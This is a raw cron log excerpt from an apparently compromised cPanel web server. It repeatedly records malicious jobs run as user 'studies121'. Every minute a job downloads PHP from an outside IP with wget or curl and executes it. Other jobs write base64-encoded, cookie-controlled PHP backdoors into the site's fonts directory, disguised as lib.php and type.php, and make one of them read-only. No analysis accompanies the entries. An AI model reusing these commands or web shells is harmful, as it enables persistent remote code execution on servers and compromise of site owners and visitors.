Feb 22 22:58:01 ip-184-168-122-23 CROND[3066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:58:01 ip-184-168-122-23 CROND[3067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:58:01 ip-184-168-122-23 CROND[3068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:58:01 ip-184-168-122-23 CROND[3069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:59:01 ip-184-168-122-23 CROND[3383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:59:01 ip-184-168-122-23 CROND[3386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:59:01 ip-184-168-122-23 CROND[3385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:59:01 ip-184-168-122-23 CROND[3388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:00:01 ip-184-168-122-23 CROND[3717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:00:01 ip-184-168-122-23 CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:00:01 ip-184-168-122-23 CROND[3716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:01:01 ip-184-168-122-23 CROND[4085]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 23:01:01 ip-184-168-122-23 CROND[4086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:01:01 ip-184-168-122-23 CROND[4087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 23:01:01 ip-184-168-122-23 CROND[4090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:01:01 ip-184-168-122-23 CROND[4089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:01:01 ip-184-168-122-23 CROND[4088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4085]: starting 0anacron
Feb 22 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4108]: finished 0anacron
Feb 22 23:02:01 ip-184-168-122-23 CROND[4426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:02:01 ip-184-168-122-23 CROND[4429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:02:01 ip-184-168-122-23 CROND[4430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:02:01 ip-184-168-122-23 CROND[4431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:02:01 ip-184-168-122-23 CROND[4428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:03:01 ip-184-168-122-23 CROND[4822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:03:01 ip-184-168-122-23 CROND[4823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:03:01 ip-184-168-122-23 CROND[4826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:03:01 ip-184-168-122-23 CROND[4827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:04:01 ip-184-168-122-23 CROND[5151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:04:01 ip-184-168-122-23 CROND[5153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:04:01 ip-184-168-122-23 CROND[5154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:04:01 ip-184-168-122-23 CROND[5155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:04:01 ip-184-168-122-23 CROND[5156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:05:01 ip-184-168-122-23 CROND[5481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5483]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 23:05:01 ip-184-168-122-23 CROND[5485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:06:01 ip-184-168-122-23 CROND[5820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:06:01 ip-184-168-122-23 CROND[5822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:06:01 ip-184-168-122-23 CROND[5819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:06:01 ip-184-168-122-23 CROND[5827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:06:01 ip-184-168-122-23 CROND[5826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:07:01 ip-184-168-122-23 CROND[6137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:07:01 ip-184-168-122-23 CROND[6138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:07:01 ip-184-168-122-23 CROND[6139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:07:01 ip-184-168-122-23 CROND[6143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:08:01 ip-184-168-122-23 CROND[6556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:08:01 ip-184-168-122-23 CROND[6557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:08:01 ip-184-168-122-23 CROND[6560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:08:01 ip-184-168-122-23 CROND[6562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:08:01 ip-184-168-122-23 CROND[6561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:09:01 ip-184-168-122-23 CROND[6878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:09:01 ip-184-168-122-23 CROND[6879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:09:01 ip-184-168-122-23 CROND[6881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:09:01 ip-184-168-122-23 CROND[6880]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 23:09:01 ip-184-168-122-23 CROND[6886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:10:01 ip-184-168-122-23 CROND[7218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:10:01 ip-184-168-122-23 CROND[7220]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
